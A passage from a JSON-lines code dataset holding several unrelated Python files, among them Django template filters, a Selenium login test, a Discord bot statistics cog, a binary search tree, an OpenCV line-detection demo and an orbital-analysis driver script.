re.search('(page=\\d+)', path)\n if output is not None:\n # print(str(output.group(1)))\n return path.replace(str(output.group(1)), \"page={}\".format(page_number))\n if re.search('(page=\\d+)', path):\n path.replace()\n page_number = str(page_number)\n if '?' in path:\n return path + \"&page=\" + page_number\n return path + \"?page=\" + page_number\n\n\n@register.filter(name = 'proper_paginate')\ndef proper_paginate(paginator, current_page, neighbors = 2):\n if paginator.num_pages > 2 * neighbors:\n start_index = max(1, current_page - neighbors)\n end_index = min(paginator.num_pages, current_page + neighbors)\n if end_index < start_index + 2 * neighbors:\n end_index = start_index + 2 * neighbors\n elif start_index > end_index - 2 * neighbors:\n start_index = end_index - 2 * neighbors\n if start_index < 1:\n end_index -= start_index\n start_index = 1\n elif end_index > paginator.num_pages:\n start_index -= (end_index - paginator.num_pages)\n end_index = paginator.num_pages\n page_list = [f for f in range(start_index, end_index + 1)]\n return page_list[:(2 * neighbors + 1)]\n return paginator.page_range\n\n\n@register.filter(name = 'from_unix')\ndef from_unix(value):\n return datetime.datetime.fromtimestamp(int(value))\n\n\n@register.filter(name = 'to_date')\ndef to_date(value):\n if len(value) > 19:\n return datetime.strptime(value, '%Y-%m-%d %H:%M:%S.%f+00:00')\n return datetime.strptime(value + \".000000\", '%Y-%m-%d %H:%M:%S.%f')\n\n\n@register.filter(name = 'print_timestamp')\ndef print_timestamp(timestamp):\n try:\n # assume, that timestamp is given in seconds with decimal point\n ts = float(timestamp)\n except ValueError:\n return None\n # specify format here\n # return datetime.datetime.fromtimestamp(ts)\n return time.strftime(\"%Y-%m-%d\", time.gmtime(ts))\n\n\n@register.filter(name = 'from_timestamp')\ndef from_timestamp(timestamp):\n try:\n # assume, that timestamp is given in seconds with decimal point\n ts = float(timestamp)\n if timestamp < 0:\n the_date = datetime(1970, 1, 1) + timedelta(seconds = ts / 1000.0)\n else:\n the_date = datetime.fromtimestamp(ts / 1000.0)\n except ValueError:\n return None\n return the_date.strftime('%Y-%m-%d')\n\n\n@register.simple_tag\ndef to_plural(n_str, singular, plural = None):\n \"\"\" A better pluralization template tag.\n The syntax is ``{% plural number \"singular\" \"plural\" %}``, where the\n ``plural`` is optional (the ``singular`` with an ``\"s\"`` suffix\n will be used if none is provided).\n By default numbers will be formatted using the ``{:,}`` formatter, so\n they will include a comma: ``1,234,567``.\n If the ``singular`` and ``plural`` strings can contain a ``{``, they\n will be treated as ``str.format`` templates::\n\n > There {% plural cats|length \"is {} cat\" \"are {} cats\" %}.\n There is 1 cat.\n > There {% plural dogs|length \"is {} dog\" \"are {} dogs\" %}.\n There are 4 dogs.\n Unlike Django's ``pluralize`` filter, ``plural`` does *not* take the\n length of lists; the ``|length`` filter can be used instead::\n > You have {% friends \"friend\" %}.\n You have ['Alex'] friends.\n > You have {% friends|length \"friend\" %}.\n You have 1 friend.\n Examples::\n > I have {% plural dog_count \"dog\" %}.\n I have 3 dogs.\n > You have {% plural ox_count \"ox\" \"oxen\" %}\n You have 1 ox.\n > There {% plural cats|length \"is {} cat\" \"are {} cats\" %}!\n There are 16 cats!\n > The plural will save you {% plural hours \"hour\" %}.\n The plural tag will save you 12,345 hours.\n \"\"\"\n\n try:\n n = int(n_str)\n except (TypeError, ValueError):\n n = None\n\n if plural is None:\n plural = singular + u\"s\"\n\n formatstr = singular if n == 1 else plural\n if \"{\" not in formatstr:\n default_format = u\"{:,} \" if n is not None else u\"{} \"\n formatstr = default_format + formatstr\n\n return formatstr.format(n_str)\n\n\n@register.filter(name = 'get_rate')\ndef get_rate(total = None, value = None):\n return round((value / total) * 100, 2)\n\n\n@register.simple_tag\ndef get_user_infos(username):\n try:\n return User.objects.get(username = username)\n except User.DoesNotExist:\n return 'Unknown'\n\n\n@register.filter\ndef null_value(value = ''):\n if value.lower() == 'null':\n return None\n return value\n\n\n@register.filter\ndef in_list(value, the_list):\n value = str(value)\n return value in the_list.split(',')\n\n\n@register.filter\ndef dateuntil(date):\n d0 = datetime.now().date()\n d1 = date.date()\n delta = d0 - d1\n return delta.days\n\n\n@register.filter\ndef remove_accents(s):\n return unicodedata.normalize('NFD', s).encode('ascii', 'ignore')\n\n\n@register.filter\ndef index(_list, i):\n return _list[int(i)]\n","sub_path":"frontend/templatetags/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"477407305","text":"from datetime import datetime\nfrom Constants import Constants\n\nclass Utilities:\n @staticmethod\n def getDateTime(parameter):\n if type(parameter) == str:\n return datetime. strptime(parameter, Constants.STANDARD_DATE_FORMAT)\n else:\n return parameter\n\nclass Timer:\n def __init__(self):\n self.start_time = None\n self.end_time = None\n self.status = \"OFF\"\n\n def start(self):\n self.start_time = datetime.now()\n self.status = \"ON\"\n\n def end(self):\n self.end_time = datetime.now()\n self.status = \"OFF\"\n\n def getTimeInSeconds(self):\n if self.status == \"OFF\":\n return (self.end_time-self.start_time).total_seconds()\n else:\n return None\n\nif __name__ == \"__main__\":\n var = datetime.now()\n var2 = Utilities.getDateTime(var)\n print(type(var2))\n","sub_path":"Utilities.py","file_name":"Utilities.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"626763823","text":"import unittest\nimport time\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nclass login(unittest.TestCase):\n\n def setUp(self):\n self.driver = webdriver.Chrome(\"../chromedriver.exe\")\n\n def tearDown(self):\n self.driver.close()\n\n def test_login(self):\n\n # Open URL\n self.driver.get(\"https://watch.sling.com\")\n\n # Wait until Login page is loaded\n wait = WebDriverWait(self.driver, 15)\n wait.until(EC.presence_of_element_located((By.NAME, \"email\")))\n\n # Enter Email, Password and Sign In\n self.driver.find_element_by_name('email').send_keys(\"xxxxxxxx\")\n self.driver.find_element_by_name('password').send_keys(\"11111\")\n self.driver.find_element_by_class_name(\"sign-in-up-button-container\").click()\n\n # Wait for Landing page\n wait.until(EC.title_contains(\"MY TV\"))\n print(\"Title is : %s \" % self.driver.title)\n time.sleep(10) # Not a good practice: still waiting to View the Landing page manually\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"challenge1/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":1203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"314390812","text":"import datetime as dt\nfrom DB import SQLite as sql\nfrom discord.ext import commands, tasks\nfrom discord.ext.commands import bot\nfrom operator import itemgetter\nimport discord\nimport json\nimport matplotlib.pyplot as plt\nimport os\nfrom core import welcome as wel, level as lvl\n\nclient = discord.Client()\nfile = \"core/time.json\"\nco = \"core/co.json\"\n\n\ndef fileExist():\n try:\n with open(file):\n pass\n except IOError:\n return False\n return True\n\n\ndef countCo():\n t = json.load(open(co, \"r\"))\n t[\"co local\"] += 1\n t[\"co total\"] += 1\n with open(co, 'w') as f:\n f.write(json.dumps(t, indent=4))\n\n\ndef countDeco():\n t = json.load(open(co, \"r\"))\n t[\"deco local\"] += 1\n t[\"deco total\"] += 1\n with open(co, 'w') as f:\n f.write(json.dumps(t, indent=4))\n\n\nasync def countMsg(message):\n ID = message.author.id\n try:\n value = sql.valueAtNumber(ID, \"nbmsg\", \"bastion\")\n sql.updateField(ID, \"nbmsg\", value+1, \"bastion\")\n lvl.addxp(ID, 1, \"bastion\")\n except:\n return print(\"Le joueur n'existe pas.\")\n\n\ndef hourCount():\n d = dt.datetime.now().hour\n if fileExist() is False:\n t = {\"0\": 0, \"1\": 0, \"2\": 0, \"3\": 0, \"4\": 0, \"5\": 0, \"6\": 0, \"7\": 0, \"8\": 0, \"9\": 0, \"10\": 0, \"11\": 0, \"12\": 0, \"13\": 0, \"14\": 0, \"15\": 0, \"16\": 0, \"17\": 0, \"18\": 0, \"19\": 0, \"20\": 0, \"21\": 0, \"22\": 0, \"23\": 0}\n t[str(d)] = int(sql.countTotalMsg())\n with open(file, 'w') as f:\n f.write(json.dumps(t, indent=4))\n return d\n else:\n with open(file, \"r\") as f:\n t = json.load(f)\n t[str(d)] = int(sql.countTotalMsg())\n with open(file, 'w') as f:\n f.write(json.dumps(t, indent=4))\n print(\"time.json modifié\")\n\n\n# ===============================================================\nclass Stats(commands.Cog):\n\n def __init__(self, bot):\n self.hour = dt.datetime.now().hour\n self.bot = bot\n self.day = dt.date.today()\n self.hourWrite.start()\n return(None)\n\n def cog_unload(self):\n self.hourWrite.cancel()\n\n @tasks.loop(seconds=300.0)\n async def hourWrite(self):\n \"\"\"\n Va, toute les heures, écrire dans time.json le nombre total de message écrit sur le serveur.\n \"\"\"\n if self.hour != dt.datetime.now().hour :\n if self.day != dt.date.today():\n msg_total = sql.countTotalMsg()\n local_heure = {}\n f = open(file, \"r\")\n connexion = json.load(open(co, \"r\"))\n total_heure = json.load(open(file, \"r\"))\n for i in range(23):\n local_heure[str(i)] = total_heure[str(i+1)] - total_heure[str(i)]\n local_heure[\"23\"] = msg_total - total_heure[str(\"23\")]\n msg_jour = msg_total - total_heure[\"0\"]\n nouveau_jour = {\n \"msg total jour\" : msg_total,\n \"msg local jour\" : msg_jour,\n \"msg total heures\" : total_heure,\n \"msg local heures\" : local_heure,\n \"co local\" : connexion[\"co local\"],\n \"co total\" : connexion[\"co total\"],\n \"deco total\" : connexion[\"deco total\"],\n \"deco local\" : connexion[\"deco local\"],\n \"nombre de joueurs\" : 185+int(connexion[\"co total\"])-int(connexion[\"deco total\"])\n }\n connexion[\"co local\"] = 0\n connexion[\"deco local\"] = 0\n with open(co, 'w') as f:\n f.write(json.dumps(connexion, indent=4))\n try:\n with open(\"logs/log-{}.json\".format(str(dt.date.today())[:7]), 'r') as f:\n t = json.load(f)\n t[str(dt.date.today()-dt.timedelta(days = 1))] = nouveau_jour\n f.close()\n except:\n t = {}\n t[str(dt.date.today()-dt.timedelta(days = 1))] = nouveau_jour\n with open(\"logs/log-{}.json\".format(str(dt.date.today())[:7]), 'w') as f:\n f.write(json.dumps(t, indent=4))\n self.day = dt.date.today()\n\n hourCount()\n self.hour = dt.datetime.now().hour\n\n @commands.command(pass_context=True)\n async def totalMsg(self, ctx):\n \"\"\"\n Permet de savoir combien i y'a eu de message posté depuis que le bot est sur le serveur\n \"\"\"\n if ctx.guild.id == wel.idBASTION:\n msg = \"Depuis que je suis sur ce serveur il y'a eu : {0} messages.\".format(sql.countTotalMsg())\n await ctx.channel.send(msg)\n\n @commands.command(pass_context=True)\n async def msgBy(self, ctx, Nom=None):\n \"\"\"\n **[nom]** | Permet de savoir combien de message à envoie [nom]\n \"\"\"\n if ctx.guild.id == wel.idBASTION:\n if len(Nom) == 21 :\n ID = int(Nom[2:20])\n elif len(Nom) == 22 :\n ID = int(Nom[3:21])\n else :\n msg = \"Le nom que vous m'avez donné n'existe pas !\"\n ID = -1\n\n if (ID != -1):\n res = sql.valueAtNumber(ID, \"nbmsg\", \"bastion\")\n msg = \"{0} a posté {1} messages depuis le {2}\".format(Nom, res, sql.valueAtNumber(ID, \"arrival\", \"bastion\")[:10])\n await ctx.channel.send(msg)\n else:\n await ctx.channel.send(\"commande utilisable uniquement sur le discord `Bastion`\")\n\n @commands.command(pass_context=True)\n async def hourMsg(self, ctx, ha=None, hb=None):\n \"\"\"\n **[heure de début] [heure de fin]** | Permet de savoir combien i y'a eu de message posté dans l'heure ou entre deux heures.\n \"\"\"\n if ctx.guild.id == wel.idBASTION:\n d = dt.datetime.now().hour\n if not fileExist():\n msg = \"Depuis que je suis sur ce serveur il y'a eu : {0} messages.\".format(sql.countTotalMsg())\n await ctx.channel.send(msg)\n await ctx.channel.send(\"le fichier time.json est introuvable le résultat sera donc peut être faux.\")\n else:\n hourCount()\n with open(file, \"r\") as f:\n t = json.load(f)\n if ha != None and hb != None:\n ha = int(ha)\n hb = int(hb)\n if ha >= 0 and hb >= 0 and ha < 24 and hb < 24:\n nbMsg = t[str(hb)]-t[str(ha)]\n msg = \"Entre {0}h et {1}h il y a eu {2} messages.\".format(ha, hb, nbMsg)\n else :\n msg = \"Vous avez entré une heure impossible.\"\n else :\n if d != 0:\n nbMsg = t[str(d)]-t[str(d-1)]\n else:\n nbMsg = t[\"0\"]-t[\"23\"]\n msg = \"Depuis {0}h il y'a eu: {1} messages postés.\".format(d, nbMsg)\n await ctx.channel.send(msg)\n else:\n await ctx.channel.send(\"commande utilisable uniquement sur le discord `Bastion`\")\n\n @commands.command(pass_context=True)\n async def graphheure(self, ctx, statue = \"local\", jour = \"yesterday\"):\n \"\"\"|local/total aaaa-mm-jj| affiche le graph des messages envoyés par heure\"\"\"\n if ctx.guild.id == wel.idBASTION:\n if jour == \"yesterday\":\n jour = str(dt.date.today()-dt.timedelta(days = 1))\n try :\n logs = json.load(open(\"logs/log-{}.json\".format(jour[:7]), \"r\"))\n except FileNotFoundError :\n await ctx.send(\"la date n'est pas correcte !\")\n return\n log = logs[jour]\n heures = log[\"msg {} heures\".format(statue)]\n if os.path.isfile(\"cache/graphheure.png\"):\n os.remove('cache/graphheure.png')\n print('removed old graphe file')\n x = []\n y = []\n for i in range(24):\n x.append(i)\n y.append(heures[str(i)])\n if statue == \"local\":\n plt.hist(x, bins = 24, weights = y)\n else :\n plt.plot(x, y, label=\"graph test\")\n plt.fill_between(x, y[0]-100, y, color='blue', alpha=0.5)\n plt.xlabel('heures')\n plt.ylabel('messages')\n plt.title(\"graphique du {}\".format(jour))\n plt.savefig(\"cache/graphheure.png\")\n await ctx.send(file=discord.File(\"cache/graphheure.png\"))\n plt.clf()\n else:\n await ctx.channel.send(\"commande utilisable uniquement sur le discord `Bastion`\")\n\n @commands.command(pass_context=True)\n async def graphjour(self, ctx, statue = \"local\", mois = \"now\"):\n \"\"\"|local/total aaaa-mm| affiche le graph des messages envoyés par jour\"\"\"\n if ctx.guild.id == wel.idBASTION:\n if mois == \"now\":\n mois = str(dt.date.today())[:7]\n aaaa , mm = mois.split(\"-\")\n nom_mois = dt.datetime(int(aaaa), int(mm), 1).strftime(\"%B\")\n try :\n logs = json.load(open(\"logs/log-{}.json\".format(mois), \"r\"))\n except ValueError :\n ctx.send(\"la date n'est pas correcte !\")\n pass\n if os.path.isfile(\"cache/graphjour.png\"):\n os.remove('cache/graphjour.png')\n print('removed old graphe file')\n msg = []\n jour = []\n text = \"msg {} jour\".format(statue)\n for i in range(1, 32):\n try :\n if i < 10:\n msg.append(logs[\"{}-0{}\".format(mois, i)][text])\n else:\n msg.append(logs[\"{}-{}\".format(mois, i)][text])\n jour.append(i)\n except KeyError :\n pass\n if statue == \"local\":\n plt.hist(jour, bins = len((logs)), weights = msg)\n else :\n plt.plot(jour, msg, label=\"graph test\")\n plt.fill_between(jour, msg[0]-200, msg, color='blue', alpha=0.5)\n plt.xlabel('jour')\n plt.ylabel('messages')\n plt.title(\"graphique du {} au {} {}\".format(jour[0], jour[len(jour)-1], nom_mois))\n plt.savefig(\"cache/graphjour.png\")\n await ctx.send(file=discord.File(\"cache/graphjour.png\"))\n plt.clf()\n else:\n await ctx.channel.send(\"commande utilisable uniquement sur le discord `Bastion`\")\n\n @commands.command(pass_context=True, aliases=['graphmembre'])\n async def graphmsg(self, ctx, r = 6):\n \"\"\"\n Graphique représentant le classement des membres en fonction du nombre de messages écrit\n \"\"\"\n if ctx.guild.id == wel.idBASTION:\n if os.path.isfile(\"cache/piegraph.png\"):\n os.remove('cache/piegraph.png')\n print('removed old graphe file')\n total = sql.countTotalMsg()\n a = []\n taille = sql.taille(\"bastion\")\n i = 1\n while i <= taille:\n IDi = sql.userID(i, \"bastion\")\n nbMsg = sql.valueAtNumber(IDi, \"nbmsg\", \"bastion\")\n try:\n Name = ctx.guild.get_member(IDi).name\n a.append([nbMsg, IDi])\n i += 1\n except:\n i += 1\n a.sort(reverse = True)\n richest = a[:r]\n sous_total = 0\n for i in range(r):\n sous_total += richest[i][0]\n labels = []\n sizes = []\n for i in range(r):\n try:\n labels.append(ctx.guild.get_member(richest[i][1]).name)\n sizes.append(richest[i][0])\n except:\n labels.append(\"Utilisateur inconnu\\n{}\".format(richest[i][1]))\n sizes.append(richest[i][0])\n labels.append(\"autre\")\n sizes.append(total - sous_total)\n explode = ()\n i = 0\n while i <= r:\n if i < r:\n explode = explode + (0,)\n else:\n explode = explode + (0.2,)\n i += 1\n plt.pie(sizes, labels=labels, autopct='%1.1f%%', startangle=90, explode=explode)\n plt.axis('equal')\n plt.savefig('cache/piegraph.png')\n await ctx.send(file=discord.File(\"cache/piegraph.png\"))\n plt.clf()\n if os.path.isfile(\"cache/piegraph.png\"):\n os.remove('cache/piegraph.png')\n else:\n await ctx.channel.send(\"commande utilisable uniquement sur le discord `Bastion`\")\n\n @commands.command(pass_context=True)\n async def graphxp(self, ctx, r = 6):\n \"\"\"\n Graphique représentant le classement des membres en fonction de leur XP\n \"\"\"\n if ctx.guild.id == wel.idBASTION:\n if os.path.isfile(\"cache/piegraph.png\"):\n os.remove('cache/piegraph.png')\n print('removed old graphe file')\n total = sql.countTotalXP()\n a = []\n taille = sql.taille(\"bastion\")\n i = 1\n while i <= taille:\n IDi = sql.userID(i, \"bastion\")\n XP = sql.valueAtNumber(IDi, \"xp\", \"bastion\")\n try:\n Name = ctx.guild.get_member(IDi).name\n a.append([XP, IDi])\n i += 1\n except:\n i += 1\n a.sort(reverse = True)\n richest = a[:r]\n sous_total = 0\n for i in range(r):\n sous_total += richest[i][0]\n labels = []\n sizes = []\n for i in range(r):\n try:\n labels.append(ctx.guild.get_member(richest[i][1]).name)\n sizes.append(richest[i][0])\n except:\n labels.append(richest[i][1])\n sizes.append(richest[i][0])\n labels.append(\"autre\")\n sizes.append(total - sous_total)\n explode = ()\n i = 0\n while i <= r:\n if i < r:\n explode = explode + (0,)\n else:\n explode = explode + (0.2,)\n i += 1\n plt.pie(sizes, labels=labels, autopct='%1.1f%%', startangle=90, explode=explode)\n plt.axis('equal')\n plt.savefig('cache/piegraph.png')\n await ctx.send(file=discord.File(\"cache/piegraph.png\"))\n plt.clf()\n if os.path.isfile(\"cache/piegraph.png\"):\n os.remove('cache/piegraph.png')\n else:\n await ctx.channel.send(\"commande utilisable uniquement sur le discord `Bastion`\")\n\n @commands.command(pass_context=True)\n async def topxp(self, ctx, n = 6):\n \"\"\"\n Classement textuel des membre du Bastion en fonction de l'XP\n \"\"\"\n if ctx.guild.id == wel.idBASTION:\n UserList = []\n taille = sql.taille(\"bastion\")\n i = 1\n while i <= taille:\n IDi = sql.userID(i, \"bastion\")\n nbMsg = sql.valueAtNumber(IDi, \"nbmsg\", \"bastion\")\n XP = sql.valueAtNumber(IDi, \"xp\", \"bastion\")\n Arrival = sql.valueAtNumber(IDi, \"arrival\", \"bastion\")[:10]\n try:\n Name = ctx.guild.get_member(IDi).name\n UserList.append([IDi, XP, nbMsg, Arrival, Name])\n i += 1\n except:\n i += 1\n UserList = sorted(UserList, key=itemgetter(1), reverse=True)\n Titre = \"Classement des membres en fonction de l'XP\"\n j = 1\n desc = \"\"\n for one in UserList: # affichage des données trié\n if j <= n:\n desc += \"{number} |`{name}`: **{XP}** XP • _{msg}_ messages postés depuis le {arrival}\\n\".format(number=j, name=one[4], XP=one[1], msg=one[2], arrival=one[3])\n if j % 20 == 0 and j != 0:\n MsgEmbed = discord.Embed(title = Titre, color= 13752280, description = desc)\n desc = \"\"\n await ctx.channel.send(embed = MsgEmbed)\n j += 1\n if desc != \"\":\n MsgEmbed = discord.Embed(title = Titre, color= 13752280, description = desc)\n await ctx.channel.send(embed = MsgEmbed)\n else:\n await ctx.channel.send(\"Commande utilisable uniquement sur le discord `Bastion`\")\n\n @commands.command(pass_context=True)\n async def topmsg(self, ctx, n = 6):\n \"\"\"\n Classement textuel des membres du Bastion en fonction des messages postés\n \"\"\"\n if ctx.guild.id == wel.idBASTION:\n UserList = []\n taille = sql.taille(\"bastion\")\n i = 1\n while i <= taille:\n IDi = sql.userID(i, \"bastion\")\n nbMsg = sql.valueAtNumber(IDi, \"nbmsg\", \"bastion\")\n XP = sql.valueAtNumber(IDi, \"xp\", \"bastion\")\n Arrival = sql.valueAtNumber(IDi, \"arrival\", \"bastion\")[:10]\n try:\n Name = ctx.guild.get_member(IDi).name\n UserList.append([IDi, XP, nbMsg, Arrival, Name])\n i += 1\n except:\n i += 1\n UserList = sorted(UserList, key=itemgetter(2), reverse=True)\n Titre = \"Classement des membres en fonction du nombre de messages postés\"\n j = 1\n desc = \"\"\n for one in UserList: # affichage des données trié\n if j <= n:\n desc += \"{number} |`{name}`: **{msg}** messages postés depuis le {arrival} • _{XP}_ XP\\n\".format(number=j, name=one[4], XP=one[1], msg=one[2], arrival=one[3])\n if j % 20 == 0 and j != 0:\n MsgEmbed = discord.Embed(title = Titre, color= 13752280, description = desc)\n desc = \"\"\n await ctx.channel.send(embed = MsgEmbed)\n j += 1\n if desc != \"\":\n MsgEmbed = discord.Embed(title = Titre, color= 13752280, description = desc)\n await ctx.channel.send(embed = MsgEmbed)\n else:\n await True\n else:\n await ctx.channel.send(\"Commande utilisable uniquement sur le discord `Bastion`\")\n\n\ndef setup(bot):\n bot.add_cog(Stats(bot))\n open(\"help/cogs.txt\", \"a\").write(\"Stats\\n\")\n","sub_path":"core/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":18870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"209763754","text":"class node:\r\n def __init__(self,Data):\r\n self.Data = Data\r\n self.Lchild = None\r\n self.Rchild = None\r\n\r\nclass Tree:\r\n Size = 0\r\n \r\n def __init__(self):\r\n self.Head = None \r\n def InsertNode(self,Data):\r\n temp = self.Head\r\n Newn = node(Data)\r\n if (self.Head == None):\r\n self.Head = Newn\r\n Tree.Size += 1\r\n else:\r\n while True:\r\n if (Data < temp.Data):\r\n if (temp.Lchild == None):\r\n temp.Lchild = Newn\r\n Tree.Size += 1\r\n break\r\n temp = temp.Lchild\r\n elif (Data > temp.Data):\r\n if (temp.Rchild == None):\r\n temp.Rchild = Newn\r\n Tree.Size += 1\r\n break\r\n temp = temp.Rchild\r\n elif (Data == temp.Data):\r\n print(\"Duplicate Entry\")\r\n break\r\n def Count(self):\r\n return Tree.Size\r\n def Inorder(self,Root):\r\n if (Root != None):\r\n self.Inorder(Root.Lchild)\r\n print(Root.Data,end=\" \")\r\n self.Inorder(Root.Rchild)\r\n \r\n def Preorder(self,Root):\r\n if (Root != None):\r\n print(Root.Data,end=\" \")\r\n self.Preorder(Root.Lchild)\r\n self.Preorder(Root.Rchild)\r\n \r\n def Postorder(self,Root):\r\n if (Root != None):\r\n self.Postorder(Root.Lchild)\r\n self.Postorder(Root.Rchild) \r\n print(Root.Data,end=\" \")\r\ndef main():\r\n Root = Tree()\r\n Root.InsertNode(21)\r\n Root.InsertNode(35)\r\n Root.InsertNode(30)\r\n Root.InsertNode(15)\r\n Root.InsertNode(32)\r\n Root.InsertNode(19)\r\n Root.InsertNode(20)\r\n \r\n\r\n Root.Inorder(Root.Head)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"PYTHON 1/BST.py","file_name":"BST.py","file_ext":"py","file_size_in_byte":1922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"588158207","text":"# 直线检测:霍夫直线变换\n# 作者:hanchen\n# 时间:2020年5月18日\n\nimport cv2 as cv\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\ndef line_detection(image):\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n edges = cv.Canny(gray, 50, 150, apertureSize=3)\n lines = cv.HoughLines(edges, 1, np.pi/(180), 200)\n\n for line in lines:\n print(type(lines))\n rho, theta =line[0]\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a * rho\n y0 = b * rho\n x1 = int(x0 + 1000 * (-b))\n y1 = int(y0 + 1000 * (a))\n x2 = int(x0 - 1000 * (-b))\n y2 = int(y0 - 1000 * (a))\n cv.line(image, (x1, y1), (x2, y2), (0, 0, 255), 2)\n\n cv.imshow(\"line_detection\", image)\n\ndef line_detect_possible_demo(image):\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n edges = cv.Canny(gray, 50, 150, apertureSize=3)\n lines = cv.HoughLinesP(edges, 1, np.pi/(180), 200, minLineLength=50, maxLineGap=10)\n\n for line in lines:\n print(type(line))\n x1, y1, x2, y2 = line[0]\n cv.line(image, (x1, y1), (x2, y2), (0, 0, 255), 2)\n print(x1, x2, y1, y2)\n\n\n cv.imshow(\"line_detection\", image)\n\nprint(\"----------Hello World!----------\")\nsrc = cv.imread(\"D:/opencv_exercises-master/images/approximate.png\")\ncv.namedWindow(\"input image\", cv.WINDOW_AUTOSIZE)\ncv.imshow(\"input image\", src)\n#line_detection(src)\nline_detect_possible_demo(src)\ncv.waitKey(0)\ncv.destroyAllWindows()\n","sub_path":"python/line_detection_demo.py","file_name":"line_detection_demo.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"238462600","text":"from typing import NamedTuple, Any, List\r\nimport bpy\r\n\r\n\r\nclass GroupInput(NamedTuple):\r\n name: str\r\n socket_type: str\r\n default_value: Any = None\r\n\r\n\r\ndef nodegroup_from_inputs(\r\n group_name: str, inputs: List['GroupInput']) -> bpy.types.NodeTree:\r\n\r\n g = bpy.data.node_groups.new(group_name, type='ShaderNodeTree')\r\n\r\n # inputs\r\n for i in inputs:\r\n socket = g.inputs.new(f'NodeSocket{i.socket_type}', i.name)\r\n if i.default_value != None:\r\n socket.default_value = i.default_value\r\n\r\n return g\r\n","sub_path":"lib/bpy_helper/materials/group_input.py","file_name":"group_input.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"437732237","text":"import argparse as ag\nimport shutil,sys,os\nfrom diagram import DrawOrbLevels\nfrom diagram import DrawOrbLevelsOpen, DrawOrbLevelsOpenA, DrawOrbLevelsOpenB\nfrom web import DrawOrbitals\nfrom pyorbdriver import PyOrbDriver\nfrom pyorbdriveropen import PyOrbDriverOpen\n\nparser = ag.ArgumentParser(description='Print user defined values')\n\nparser.add_argument(\"--path\", help=\"Provide path to t21 file or an adf.rkf file.\")\nparser.add_argument(\"--draworbital\", help=\"If orbital pictures will be drawn.\", default=False)\nparser.add_argument(\"--adjustorbital\", help=\"Provide path where the orbital levels pictures will be stored.\", default=False)\nparser.add_argument(\"--modifiedpath\", help=\"Provide path to modified t21 or adf.rkf file, which is needed for adjusted_2\", default=None)\nparser.add_argument(\"--drawfigure\", help=\"Draw color pictures\", default=False)\nparser.add_argument(\"--weakbond\", help=\"Draw color pictures\", default=False)\nparser.add_argument(\"--open\", help=\"open shell EDA\", default=False)\nparser.add_argument(\"--orbitals\", type=str, nargs='*',action='append', help=\"Provide orbitals to be analyzed\", default=None)\nparser.add_argument(\"--figurepath\", help=\"Provide path to store the figures\", default=None)\n\nargs = parser.parse_args()\nt21File = args.path #should end with .t21 or .{engine}.rkf\nt21Filemodified = args.modifiedpath\ndrawOrbital = args.draworbital\nadjustOrbital = args.adjustorbital\ndrawFigure = args.drawfigure\norbitals = args.orbitals\nfigurePath = args.figurepath\nweakBond = args.weakbond\nopenShell = args.open\n\ndirName = os.path.split(t21File)[0]\njobName = os.path.split(dirName)[1]\nfigureDir = os.path.split(dirName)[0]\nif figurePath == None:\n figurePath = os.path.join(figureDir,'figures')\n figureName = os.path.join(figureDir,'figures',jobName)\nelse:\n figureName = os.path.join(figurePath,jobName)\n\nif t21Filemodified is not None:\n adjustOrbital= True\n\nif not os.path.exists(figurePath):\n os.mkdir(figurePath)\n\nif openShell:\n\tdataSummarylistA= PyOrbDriverOpen(t21File, spin='A', orbtals=orbitals, drawFigure=drawFigure, fileName=figureName)\n\tdataSummarylistB= PyOrbDriverOpen(t21File, spin='B', orbtals=orbitals, drawFigure=drawFigure, fileName=figureName)\n\tDrawOrbLevelsOpenA(dataSummarylistA, figureName+'_A') # draw original orbital levels\n\tDrawOrbLevelsOpenB(dataSummarylistB, figureName+'_B') # draw original orbital levels\t\n\tDrawOrbLevelsOpen(dataSummarylistA, dataSummarylistB, figureName) # draw original orbital levels\t\nelse:\n\tdataSummarylist, dataSummarylistAdjusted = PyOrbDriver(t21File, t21Filemodified=t21Filemodified, adjustOrbital=adjustOrbital, orbtals=orbitals, drawFigure=drawFigure, fileName=figureName, weakBond=weakBond)\t\n\tDrawOrbLevels(dataSummarylist, figureName) # draw original orbital levels\t\n\n\tif t21Filemodified is not None: # PRINT FMATSFO exist and cycle is 1\n\t DrawOrbLevels(dataSummarylistAdjusted,figureName+'_adjusted_2')\t\n\n\telif adjustOrbital: # PRINT FMATSFO exist\n\t DrawOrbLevels(dataSummarylistAdjusted,figureName+'_adjusted_1')\t\n\n\telse:\n\t DrawOrbLevels(dataSummarylistAdjusted,figureName+'_adjusted')\t\n\n\tif drawOrbital==\"True\":\n\t DrawOrbitals(dataSummarylist[:3],t21File,figureName)","sub_path":"pyorb/pyorb.py","file_name":"pyorb.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"539939067","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution(object):\n def reverseKGroup(self, head, k):\n \"\"\"\n :type head: ListNode\n :type k: int\n :rtype: ListNode\n \"\"\"\n p1 = p0 = sentinel = 